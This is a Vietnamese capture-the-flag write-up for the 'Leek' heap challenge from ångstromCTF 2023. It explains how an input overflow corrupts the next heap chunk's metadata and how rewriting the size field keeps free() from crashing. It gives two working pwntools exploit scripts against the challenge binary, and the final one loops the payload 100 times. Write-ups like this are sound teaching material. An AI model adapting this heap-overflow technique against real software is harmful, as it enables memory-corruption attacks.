🔇Leek - AmstromCTF 2023

Challenge

Solution

Tử ảnh này mình sẽ suy ra từng chunk trên memory

v9_chunk

s_chunk

Hãy nhớ lại cấu trúc của 1 chunk được allocated:

Phần mầu tím chứa các bytes \x00 là do trước đó không có chunk nào được free. Phần khoanh tròn phía sau nó là kích thước. Bên dưới metadata đó chính là Userdata(nơi được randomize dữ liệu)

Sau đó chunk này sẽ được free nên tôi đoán mình phải giữ nguyên vẹn data như sau để tránh không xảy ra lỗi free như lần làm đầu tiên của mình.

Theo như tôi đọc wu thì thấy đây là lỗi Heap Overflow nên tôi khá chắc chắn suy luận ban đầu của tôi là đúng. Chỉ là nó chưa đủ chắc chắn để giải quyết bài toán này.

Nơi tôi trỏ mũi tên đó chính là nơi dữ liệu bắt đầu được nhập vào. và kiểm tra thì thấy phần này cho nhập tối đa 1280 kí tự (Đây là yếu tố giúp tôi đoán Overflow)

Thì bạn có thể thấy nó đã ghi đè sang phần meta data của chunk sau tôi cá là khi free nó sẽ hỏng :))

Bởi vậy tôi sẽ gửi như sau:

from pwn import *

r = process("./leek")
gdb.attach(r, api = True)
context.clear(os = "linux", arch='x86_64', log_level="debug")
payload = b"a" * 63
r.sendlineafter(b" OVERFLOWS!!):", payload)

r.sendlineafter(b"What's my secret? ", b"a" * 31)

payload = b"\x00" * 24 + b"\x31" + b"\x00" * 7
r.sendlineafter(b"Say what you want:", payload)

r.interactive()

Giải thích 1 chút:

  • Dòng 6, 7, 9 là dùng để bypass điều kiện kiểm tra trên source code.

  • Dòng 11, 12 là để chỉnh sửa lại memory sau 1 cuộc overflow hoang tàn ---> Mục đích của nó nhằm đảm bảo tính toàn vẹn của các chunk trước khi được free.

Các meta data được sửa lại sau khi overflow đã làm hỏng các metadata:

Phần size của chunk cũng được ghi đè thành 61 61 61 61.Như ảnh sau:

Vậy bây giờ việc của mình sẽ là gửi nó 100 lần là xong:

exploit.py
from pwn import *

r = process("./leek")
#r = remote("challs.actf.co", 31310)
gdb.attach(r, api = True)
context.clear(os = "linux", arch='x86_64', log_level="debug")
for i in range(0,100):
    payload = b'a' * 63
    r.sendlineafter(b'):', payload)

    r.sendlineafter(b'secret?', b'a' * 31)

    payload = b'\x00' * 24 + b'\x31' + b'\x00' * 7 + b'a' * 31
    r.sendlineafter(b'want:', payload)

r.interactive()

Bài học rút ra:

Ăn vụng cũng phải biết chùi mép. Sau khi ta làm hỏng các chunk rồi thì hãy chỉnh nó lại hoặc. Trước khi các chunk được free thì nên xem metadata của nó có bị thay đổi hay không.

Last updated